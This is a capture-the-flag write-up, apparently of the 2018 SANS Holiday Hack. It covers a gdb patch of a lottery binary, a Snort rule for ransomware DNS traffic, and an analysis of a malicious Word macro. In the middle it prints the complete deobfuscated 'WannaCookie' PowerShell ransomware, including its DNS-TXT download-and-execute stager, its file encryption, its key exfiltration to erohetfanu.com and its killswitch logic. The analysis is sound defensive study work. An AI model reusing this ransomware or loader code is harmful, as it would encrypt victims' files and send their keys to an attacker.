0x0000000000001535 <+107>:   sar    $0x1f,%eax 0x0000000000001538 <+110>: sub %eax,%edx 0x000000000000153a <+112>: mov %edx,%eax 0x000000000000153c <+114>: mov %eax,-0x4(%rbp) 0x000000000000153f <+117>: mov -0x4(%rbp),%eax 0x0000000000001542 <+120>: imul$0x2710,%eax,%eax
0x0000000000001548 <+126>:   sub    %eax,%ecx
0x000000000000154a <+128>:   mov    %ecx,%eax
0x000000000000154c <+130>:   mov    %eax,-0x4(%rbp)
0x000000000000154f <+133>:   lea    0x5856(%rip),%rdi        # 0x6dac
0x0000000000001556 <+140>:   mov    $0x0,%eax 0x000000000000155b <+145>: callq 0x8f0 <printf@plt> 0x0000000000001560 <+150>: mov -0x4(%rbp),%eax 0x0000000000001563 <+153>: mov %eax,%esi 0x0000000000001565 <+155>: lea 0x5858(%rip),%rdi # 0x6dc4 0x000000000000156c <+162>: mov$0x0,%eax
0x0000000000001571 <+167>:   callq  0x8f0 <printf@plt>
0x0000000000001576 <+172>:   lea    0x584a(%rip),%rdi        # 0x6dc7
0x000000000000157d <+179>:   callq  0x910 <puts@plt>
0x0000000000001582 <+184>:   cmpl   $0x4c9,-0x4(%rbp) 0x0000000000001589 <+191>: jne 0x1597 <main+205> 0x000000000000158b <+193>: mov$0x0,%eax
0x0000000000001590 <+198>:   callq  0xfd7 <winnerwinner>
0x0000000000001595 <+203>:   jmp    0x15a1 <main+215>
0x0000000000001597 <+205>:   mov    $0x0,%eax 0x000000000000159c <+210>: callq 0x14b7 <sorry> 0x00000000000015a1 <+215>: mov$0x0,%edi
0x00000000000015a6 <+220>:   callq  0x920 <exit@plt>
End of assembler dump.


At the highlighted line, we can see that the value of $rbp - 0x4 is compared to 0x4c9. This hex value in decimal is 1225, which is the winning value of the lottery. So this is the comparison that is made between the winning ticket and our randomly drawn ticket. If they're different, the program jumps to main+205 and calls the function sorry. If they're equal, it continues and calls winnerwinner. Let's put a breakpoint on this comparison, and run the program: (gdb) b *(main+184) Breakpoint 1 at 0x1582 (gdb) run Starting program: /home/elf/sleighbell-lotto [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". The winning ticket is number 1225. Rolling the tumblers to see what number you'll draw... You drew ticket number 8093! Breakpoint 1, 0x0000555555555582 in main ()  Now, we're just before the comparison of our (losing) ticket to 1225. Several options are available. We can directly jump to the call of winnerwinner: (gdb) j *(main+198) Continuing at 0x555555555590. [snip] Congratulations! You've won, and have successfully completed this challenge. [Inferior 1 (process 46) exited normally]  We can also directly modify the memory, so that our ticket has the winning value: (gdb) x/d ($rbp-0x4)
0x7fffffffe5fc: 8093
(gdb) set *((int *) ($rbp-0x4)) = 1225 (gdb) continue Continuing. [snip] Congratulations! You've won, and have successfully completed this challenge. [Inferior 1 (process 40) exited normally]  I'm sure there are many more ways to win this lottery, and look forward to read about them in other write-ups! ### Snort Rule In Santa's secret room, we find Alabaster, who is in need of help: Alabaster says Help, all of our computers have been encrypted by ransomware! I came here to help but got locked in 'cause I dropped my "Alabaster Snowball" badge in a rush. I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted! Unfortunately, the password database I keep on my computer was encrypted, so now I don't have access to any of our systems. If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found! So, we must stop the ransomware traffic, using the Snort terminal:  _ __ _ _ _____ _ _ | |/ / (_) | | / ____| | | | | | ' / _ __ _ _ __ __ _| | ___| | __ _ ___| |_| | ___ | < | '__| | '_ \ / _ | |/ _ \ | / _ / __| __| |/ _ \ | . \| | | | | | | (_| | | __/ |___| (_| \__ \ |_| | __/ |_|\_\_| |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___| / ____| __/ | | | | (___ |___/ ___ _ __| |_ \___ \| '_ \ / _ \| '__| __| ____) | | | | (_) | | | |_ |_____/|_|_|_|\___/|_|_ \__| |_ _| __ \ / ____| | | | | | | (___ _____ | | | | | |\___ \ __ / ____| _| |_| |__| |____) | /_ | | (___ |_____|_____/|_____/ _ __ | | \___ \ / _ \ '_ \/ __|/ _ \| '__| | | ____) | __/ | | \__ \ (_) | | | | |_____/ \___|_| |_|___/\___/|_| |_| ============================================================ INTRO: Kringle Castle is currently under attacked by new piece of ransomware that is encrypting all the elves files. Your job is to configure snort to alert on ONLY the bad ransomware traffic. GOAL: Create a snort rule that will alert ONLY on bad ransomware traffic by adding it to snorts /etc/snort/rules/local.rules file. DNS traffic is constantly updated to snort.log.pcap COMPLETION: Successfully create a snort rule that matches ONLY bad DNS traffic and NOT legitimate user traffic and the system will notify you of your success. Check out ~/more_info.txt for additional information. elf@4a4351a6045e:~$ cat more_info.txt
A full capture of DNS traffic for the last 30 seconds is
constantly updated to:
/home/elf/snort.log.pcap
You can also test your snort rule by running:
snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
This sensor also hosts an nginx web server to access the
last 5 minutes worth of pcaps for offline analysis. These
can be viewed by logging into:
http://snortsensor1.kringlecastle.com/
Using the credentials:
----------------------
tshark and tcpdump have also been provided on this sensor.
HINT:
Malware authors often user dynamic domain names and
IP addresses that change frequently within minutes or even
seconds to make detecting and block malware more difficult.
As such, its a good idea to analyze traffic to find patterns
and match upon these patterns instead of just IP/domains.


We must create a rule that will match all the ransomware's traffic, and won't match the legitimate users' traffic. We're given access to a website which contains PCAP files with the DNS traffic of the last five minutes.

Let's download some of these PCAP files and see if we can find a common pattern. You can use KringleCastle's website, mentioned herebefore, or you can download some of the PCAP files I had during the challenge:

If we open these PCAP files, we see exclusively TXT DNS traffic. However, you notice rapidly that some of these domains don't seem legitimate. Some of the requests made interrogate a weird looking domain, with some sort of hash as a part of the subdomain, and the TXT answers are extremely long. This is clearly very fishy, and we can easily guess that this is our ransomware traffic.

However, we can't use the source IP address, the destination IP address, or the domain name as IOCs, because they never stay the same. The only constant seems to be this hash, 77616E6E61636F6F6B69652E6D696E2E707331, which is part of the subdomain.

Let's create a Snort rule that will trigger an alert every time we see this hash. I used this website and StackOverflow to determine how to do so:

alert udp any any -> any any (msg:"Ransomware trafic detected"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; metadata:service dns; sid:1337; rev:3;)


Here's what it means:

• alert: create an alert when this rule matches
• udp: we only care about UDP traffic
• any any -> any any: we look at traffic from any source to any destination. I tried to do some fine tuning here, but I didn't catch every traffic, only the requests made by the ransomware (and not the answers from the server). This is likely overkill and wouldn't work in a true production environment.
• msg: the message that will be displayed in our alert
• pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/": our alert will only be triggered if it matches this regex. Here, it's a pretty simple regex that only looks if the IOC hash is in the traffic.
• metadata: the UDP traffic is DNS
• sid, rev: id and revision number of the rule

Let's add this rule at the end of our rule file:

elf@7a674ac839a9:~$echo -e '\nalert udp any any -> any any (msg:"Ransomware trafic detected"; pcre:"/77616E6E61636F6F6B69652E6D696E2E707331/"; metadata:service dns; sid:1337; rev:3;)' >> /etc/snort/rules/local.rules elf@7a674ac839a9:~$
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!


Alright, we now have an alert every time the ransomware generates traffic.

### Malware Dropper

Now that the ransomware traffic is stopped, Alabaster gives us an archive, which, he supposes, is the initial dropper for the ransomware. We must find the domain it communicates with.

Alabaster says

Thank you so much! Snort IDS is alerting on each new ransomware infection in our network.

Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document?

All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.

So, let's extract this archive:

$7z -pelves x CHOCOLATE_CHIP_COOKIE_RECIPE.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=fr_FR.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 110699 bytes (109 KiB) Extracting archive: CHOCOLATE_CHIP_COOKIE_RECIPE.zip -- Path = CHOCOLATE_CHIP_COOKIE_RECIPE.zip Type = zip Physical Size = 110699 Everything is Ok Size: 113540 Compressed: 110699$  ls -lh
total 228K
-rw-r--r-- 1 useless useless 111K déc.  17 18:46 CHOCOLATE_CHIP_COOKIE_RECIPE.docm
-rw-r--r-- 1 useless useless 109K déc.  18 04:17 CHOCOLATE_CHIP_COOKIE_RECIPE.zip


Alright, it's a .docm file. This is probably a Microsoft Office file with a malicious macro that will download and execute the malware. Let's open it with extra care not to execute the macro.

For those of you who only want the chocolate chip cookie recipe, you can find it in the appendix.

If we take a look at the macros in this Office file, we can see that two functions, Document_Open and AutoOpen were created:

(Yes, it's LibreOffice, sue me)

These functions are designed to be executed as soon as the document is open. Let's take a look at the source code of these functions:

Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub AutoOpen()
Dim cmd As String
Shell cmd
End Sub


As soon as the document gets opened, a (quite ugly) PowerShell command is executed. We can see from the source code that there is some base64-encoding, and some compressing. Instead of doing the analysis manually, we'll use PowerShell to execute the command. But in order not to get infected ourselves, we'll replace every occurrence of IEX (or Invoke-Expression) by a Write-Output. This way, the source code will be displayed instead of being executed.

So, let's see what this PowerShell gibberish means:

PS C:\Users\admin> sal a New-Object; Write-Output (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
function H2A($a) {$o; $a -split '(..)' | ? {$_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o +$_}; return $o};$f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A$h | Out-string))


Alright, we get a weird function, H2A, which is making DNS request to a domain name erohetfanu.com. That's the domain we're looking for.

### Malware Analysis

Alabaster wonders if the malware uses a killswitch domain, à la WannaCry.

Alabaster says

Erohetfanu.com, I wonder what that means?

Unfortunately, Snort alerts show multiple domains, so blocking that one won't be effective.

I remember another ransomware in recent history had a killswitch domain that, when registered, would prevent any further infections.

Perhaps there is a mechanism like that in this ransomware? Do some more analysis and see if you can find a fatal flaw and activate it!

Let's analyze the ransomware and see what we can find. First of all, let's get the source code of the malware. Let's execute the command we found in the previous question, without executing IEX:

PS E:\sans-christmas-challenge-2018> function H2A($a) {$o; $a -split '(..)' | ? {$_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o +$_}; return $o};$f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($iin 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)){$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; $(H2A$h | Out-string)
$functions = {function e_d_file($key, $File,$enc_it) {[byte[]]$key =$key;$Suffix = ".wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize =$KeySize;$AESP.Key =$key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File +$Suffix} else {$DestF[snip]  Wow, we get a lot of minified code. Let's make it a little bit more readable. Here's the full source code of the malware. I just added carriage-returns after every }, ;, and indented the code: $functions = {
function e_d_file($key,$File, $enc_it) { [byte[]]$key = $key;$Suffix = ".wannacookie";
[System.Int32]$KeySize =$key.Length*8;
$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open); if ($enc_it) {
$DestFile =$File + $Suffix } else {$DestFile = ($File -replace$Suffix)
};
$FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
if ($enc_it) {$AESP.GenerateIV();
$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
$FileSW.Write($AESP.IV, 0, $AESP.IV.Length);$Transform = $AESP.CreateEncryptor() } else { [Byte[]]$LenIV = New-Object Byte[] 4;
$FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;$FileSR.Read($LenIV, 0, 3) | Out-Null; [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0); [Byte[]]$IV = New-Object Byte[] $LIV;$FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
$FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;$Transform = $AESP.CreateDecryptor() };$CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW,$Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
[Int]$Count = 0; [Int]$BlockSzBts = $AESP.BlockSize / 8; [Byte[]]$Data = New-Object Byte[] $BlockSzBts; Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);$CryptoS.Write($Data, 0,$Count)
} While ($Count -gt 0);$CryptoS.FlushFinalBlock();
$CryptoS.Close();$FileSR.Close();
$FileSW.Close(); Clear-variable -Name "key"; Remove-Item$File
}
};
function H2B {
param($HX);$HX = $HX -split '(..)' | ? {$_
};
ForEach ($value in$HX){
[Convert]::ToInt32($value,16) } }; function A2H(){ Param($a);
$c = '';$b = $a.ToCharArray(); ; Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
};
return $c -replace ' ' }; function H2A() { Param($a);
$outa;$a -split '(..)' | ? {
$_ } | forEach { [char]([convert]::toint16($_,16))
} | forEach {
$outa =$outa + $_ }; return$outa
};
function B2H {
param($DEC);$tmp = '';
ForEach ($value in$DEC){
$a = "{0:x}" -f [Int]$value;
if ($a.length -eq 1){$tmp += '0' + $a } else {$tmp += $a } }; return$tmp
};
function ti_rox {
param($b1,$b2);
$b1 =$(H2B $b1);$b2 = $(H2B$b2);
$cont = New-Object Byte[]$b1.count;
if ($b1.count -eq$b2.count) {
for($i=0;$i -lt $b1.count ;$i++) {
$cont[$i] = $b1[$i] -bxor $b2[$i]
}
};
return $cont }; function B2G { param([byte[]]$Data);
Process {
$out = [System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0,$Data.Length);
$gStream.Close(); return$out.ToArray()
}
};
function G2B {
param([byte[]]$Data); Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object System.IO.MemoryStream;
$gStream = New-Object System.IO.Compression.GzipStream$SrcData, ([IO.Compression.CompressionMode]::Decompress);
$gStream.CopyTo($output );
$gStream.Close();$SrcData.Close();
[byte[]] $byteArr =$output.ToArray();
return $byteArr } }; function sh1([String]$String) {
$SB = New-Object System.Text.StringBuilder; [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
[Void]$SB.Append($_.ToString("x2"))
};
$SB.ToString() }; function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
$cert.Import($pub_bytes);
$encKey =$cert.PublicKey.Key.Encrypt($key_bytes,$true);
return $(B2H$encKey)
};
function e_n_d {
param($key,$allfiles, $make_cookie );$tcount = 12;
for ( $file=0;$file -lt $allfiles.length;$file++  ) {
while ($true) {$running = @(Get-Job | Where-Object {
$_.State -eq 'Running' }); if ($running.Count -le $tcount) { Start-Job -ScriptBlock { param($key, $File,$true_false);
try{
e_d_file $key$File $true_false } catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
}
} -args $key,$allfiles[$file],$make_cookie -InitializationScript $functions; break } else { Start-Sleep -m 200; continue } } } }; function g_o_dns($f) {
$h = ''; foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
$h +=$(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
};
return (H2A $h) }; function s_2_c($astring, $size=32) {$new_arr = @();
$chunk_index=0; foreach($i in 1..$($astring.length / $size)) {$new_arr += @($astring.substring($chunk_index,$size));$chunk_index += $size }; return$new_arr
};
function snd_k($enc_k) {$chunks = (s_2_c $enc_k ); foreach ($j in $chunks) { if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
} else {
$(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings } }; return$n_c_id
};
function wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"; if ($null -ne ((Resolve-DnsName -Name $(H2A$(B2H $(ti_rox$(B2H $(G2B$(H2B $S1)))$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") { return };$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort { Get-Random })[0..15] -join '')) | ? {$_ -ne 0x00
});
$h_k =$(B2H $b_k);$k_h = $(sh1$h_k);
$p_k_e_k = (p_k_e$b_k $p_k).ToString();$c_id = (snd_k $p_k_e_k);$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "rn"); [array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path$($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where {
! $_.PSIsContainer } | Foreach-Object {$_.Fullname
});
e_n_d $b_k$f_c $true; Clear-variable -Name "h_k"; Clear-variable -Name "b_k";$lurl = 'http://127.0.0.1:8080/';
$html_c = @{ 'GET /' =$(g_o_dns (A2H "source.min.html"));
'GET /close'  =  '<p>Bye!</p>'
};
Start-Job -ScriptBlock{
param($url); Start-Sleep 10; Add-type -AssemblyName System.Windows.Forms; start-process "$url" -WindowStyle Maximized;
Start-sleep 2;
[System.Windows.Forms.SendKeys]::SendWait("{F11}")
} -Arg $lurl;$list = New-Object System.Net.HttpListener;
$list.Prefixes.Add($lurl);
$list.Start(); try {$close = $false; while ($list.IsListening) {
$context =$list.GetContext();
$Req =$context.Request;
$Resp =$context.Response;
$recvd = '{0} {1}' -f$Req.httpmethod, $Req.url.localpath; if ($recvd -eq 'GET /') {
$html =$html_c[$recvd] } elseif ($recvd -eq 'GET /decrypt') {
$akey =$Req.QueryString.Item("key");
if ($k_h -eq$(sh1 $akey)) {$akey = $(H2B$akey);
[array]$f_c =$(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where {
! $_.PSIsContainer } | Foreach-Object {$_.Fullname
});
e_n_d $akey$f_c $false;$html = "Files have been decrypted!";
$close =$true
} else {
$html = "Invalid Key!" } } elseif ($recvd -eq 'GET /close') {
$close =$true;
$html =$html_c[$recvd] } elseif ($recvd -eq 'GET /cookie_is_paid') {
$c_n_k =$(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings; if ($c_n_k.length -eq 32 ) {
$html =$c_n_k
} else {
$html = "UNPAID|$c_id|$d_t" } } else {$Resp.statuscode = 404;
$html = '<h1>404 Not Found</h1>' };$buffer = [Text.Encoding]::UTF8.GetBytes($html);$Resp.ContentLength64 = $buffer.length;$Resp.OutputStream.Write($buffer, 0,$buffer.length);
$Resp.Close(); if ($close) {
$list.Stop(); return } } } finally {$list.Stop()
}
};
wanc;


Whew, that's a lot of script. We'll analyze it more deeply in the next question. The script defines many functions. The main one seems to be wanc, since it's called at the end of the script. Let's take a look at the beginning of this function:

function wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"; if ($null -ne ((Resolve-DnsName -Name $(H2A$(B2H $(ti_rox$(B2H $(G2B$(H2B $S1)))$(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") { return }; [snip]  The function begins by making some kind of DNS request. If it resolves, then it immediatly returns. It also checks if something is listening on 127.0.0.1:8080 (i.e. if the ransomware is already running), and if the Active Directory domain of the infected machine is KRINGLECASTLE: • The first check (the DNS check) is used to make sure that the ransomware is not being ran in a virtual machine. This check is similar to what @MalwareTechBlog found in the WannaCry ransomware. • The second check (the network check and the Active Directory check) is to make sure that the ransomware is running on the intended target, and is not being ran more than once. Similarly to WannaCry, if we register the killswitch domain, then it will always resolved and the ransomware will stop working. To find the kill switch domain, let's just execute the PowerShell code used to generate it. To run this command, the variable S1 and the functions H2A, B2H, H2B, G2B, and ti_rox must be defined: PS C:\>$(H2A $(B2H$(ti_rox $(B2H$(G2B $(H2B$S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))) yippeekiyaa.aaay  The killswitch domain seems to be yippeekiyaa.aaay. Let's register it on HoHoHo Daddy: Alright! We stopped the malware. We can now feel like @MalwareTechBlog. You know, without the federal investigation and stuff... Anyway! The sentence is Successfully registered yippeekiyaa.aaay!. ### Memory Dump Analysis Alabaster needs us to decrypt his password database, that was encrypted by the WannaCookie ransomware. Alabaster says Yippee-Ki-Yay! Now, I have a ma... kill-switch! Now that we don't have to worry about new infections, I could sure use your L337 security skills for one last thing. As I mentioned, I made the mistake of analyzing the malware on my host computer and the ransomware encrypted my password database. Take this zip with a memory dump and my encrypted password database, and see if you can recover my passwords. One of the passwords will unlock our access to the vault so we can get in before the hackers. Alright, a lot is happening. Here's what we can see from the source code: • The function e_d_file takes a key, a file, and a boolean. If the boolean is true, the file is encrypted using AES in CBC mode. If the boolean is false, the file is decrypted using the same algorithm. • Some helper functions are defined: • H2B, B2H: convert data from/to hexadecimal strings to/from binary objects. • H2A, A2H: convert data from/to hexadecimal strings to/from byte arrays. • G2B, B2G: convert data from/to compressed data to/from binary objects. • The function ti_rox seems to XOR two variables. • The function sh1 is just a wrapper to the SHA1 hashing function. • The function p_k_e encrypts a variable using a public key. • The function e_n_d encrypts/decrypts a list of files using an AES key (by calling the e_d_file function). • The function g_o_dns seems to recover some data from the erohetfanu.com DNS server. • The function s_2_c splits a string into chunks. • The function snd_k sends, chunk by chunk, a string to the erohetfanu.com DNS server. • Finally, the function wanc is the main function. Let's analyze how the malware works, so that we can find a way to decrypt Alabaster's passwords. Here's what wanc does: • It first checks the killswitch domain, whether the malware is already running, and if it's running on the intended target. • It then recovers what seems to be a public key, $p_k, from the DNS server, with the following command: g_o_dns("7365727665722E637274").
• It then generates an AES key, $b_k, using two arrays of bytes from 1 to 255 (no zero), and the function Get-Random. • The key is hex-encoded in $h_k, which is then hashed using SHA1 and stored in $k_h. • The AES key $b_k is encrypted using the public key $p_k. The result is stored in $p_k_e_k.
• The encrypted key, $p_k_e_k is sent to the DNS server, which gives a victim id, $c_id.
• The current date in UTC is stored in $d_t. • A list of all *.elfdb files is generated, and then encrypted using $b_k.
• The variables $b_k and $h_k are cleared using Clear-Variable. (The variable $key, which holds the value of $b_k in e_d_file is also cleared).
• The malware sets up an HTTP listener on 127.0.0.1:8080, which displays an HTML ransom message, downloaded from the DNS server, using the code g_o_dns (A2H "source.min.html"). The HTTP listener handles decryption requests: when the victim pays the ransom, the decryption key is given to them. They can then enter them in the HTTP listener, which will compare this key's SHA1 sum to the one it has in memory in the variable $k_h. If they match, the files are decrypted. #### All the dead ends, yay! Alright, knowing this, how can we try and recover Alabaster's passwords? Here's a list of the things that I tried and that don't work, but still took a whole lot of time to test (and then had the audacity of not being the right solutions, damn them!). Again, if you just directly want the right solution, you can jump to it. I first thought that maybe the keys weren't correctly cleared in the memory dump and that I could recover them, using tools such as aes-finder, aeskeyfind, findaes, etc. But these tools did not find anything. I then thought that maybe the Volatility framework could help. But it doesn't support the Mini DuMP format used in the dump. So, another deadend. I then thought thay maybe the password file or the encryption key could be found in cleartext using binwalk. But it only returned what I think were many false-positives, and no password file or encryption key. On to my next deadend, which stole most of my time. It's common for ransomware to generate weak encryption keys, because of unproper random initialization. Here's an example. If you remember, the malware generates the AES key using the PowerShell function Get-Random, without any seed. I did a little research on this function, and found some resources online that suggested that maybe the randomness produced by Get-Random was not cryptographically-secure. I then read Microsoft's documentation of the function, which states (emphasis mine): -SetSeed Specifies a seed value for the random number generator. This seed value is used for the current command and for all subsequent Get-Random commands in the current session until you use SetSeed again or close the session. You cannot reset the seed to its default, clock-based value. The SetSeed parameter is not required. By default, Get-Random uses the system clock to generate a seed value. Because SetSeed results in non-random behavior, it is typically used only when trying to reproduce behavior, such as when debugging or analyzing a script that includes Get-Random commands. I thought I had my ticket with this. I thought that if I found at what time the ransomware was launched, I could use this time as a seed to regenerate the encryption key. Luckily, we have several ways to find around which time the ransomware was launched. First, it's in the metadata of the dump file: $ file powershell.exe_181109_104716.dmp
powershell.exe_181109_104716.dmp: Mini DuMP crash report, 19 streams, Fri Nov  9 15:47:39 2018, 0x61826 type


Then, if you remember, the current date was stored in a variable $d_t in the ransomware. This date was displayed in the HTML listener, next to the payment status: $ grep -a UNPAID powershell.exe_181109_104716.dmp
�B_��RE_��_E_ ����OUNPAID|               4739626449686a334d36|Friday, November 09, 2018 3:25:34 PM
[snip]


So, the ransomware was launched on Friday, November 09, 2018, around 3:00 PM. Now that I knew the time of launch, I could try to regenerate the AES key using Get-Random. Or so I thought... No matther how I initialized the key, I wasn't able to obtain reproductible results using Get-Random.

I then saw online that maybe Get-Random is not seeded with the system date, but with the system uptime, using TickCounts. But there again, I wasn't able to obtain reproductible results. I did some more digging, and several StackOverflow posts indicated that the seed initialization is trickier that I thought. As suggested by one of these posts, I took a look at PowerShell's source code on GitHub.

There, you can see that if you initialize the seed using -SetSeed, you can see that the random generator used is System.Random. If you don't initialize the seed, the random generator used is System.Security.Cryptography.RandomNumberGenerator. However, this function does not seem to have any weakness in its seed initialization process.

After having wasted three days on this track, I gave up and asked for my coworkers' help. While most of them were busy and made me understand in colorful phrasing that they didn't have the time to help me, one of them, imaibou, had some time to take a look.

He ran a deweaponized version of the ransomware (where the encryption was commented out) and then produced a dump of the PowerShell process. He then mentioned to me that he was able to find out his AES key (that he had printed out) in the memory dump of his process. Ha! I was right from the start: the key is not properly cleared from the memory. Or so I thought, yet again... We tried searching for the keys in Alabater's memory dump in every imaginable format:

• In raw hexadecimal (\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX).
• In UTF16-LE encoded hexadecimal (\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00\xXX\x00).
• In printable hex representation (XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX)
• In UTF16-LE encoded printable hex representation (XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00XX\x00)
• In oh-so-many other formats...

But no luck. Even though we managed to find our key in our home-made memory dump, we couldn't find the key in Alabaster's dump. Even our boss, Christophe, took time out of his schedule to lend a hand. but even his security super powers didn't manage to take us out of this slump.

Out of ideas, ashamed, and tired, we went and looked at the hints for this question. Here's what we were given:

wannacookie.min.ps1? I wonder if there is a non-minified version? If so, it may be easier to read and give us more information and maybe source comments?

Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!

Pulling strings from a memory dump using the linux strings command requires you specify the -e option with the specific format required by the OS and processor. Of course, you could also use powerdump.

I didn't understand the reference to wannacookie.min.ps1, since I hadn't seen this filename anywhere (but more on that later).

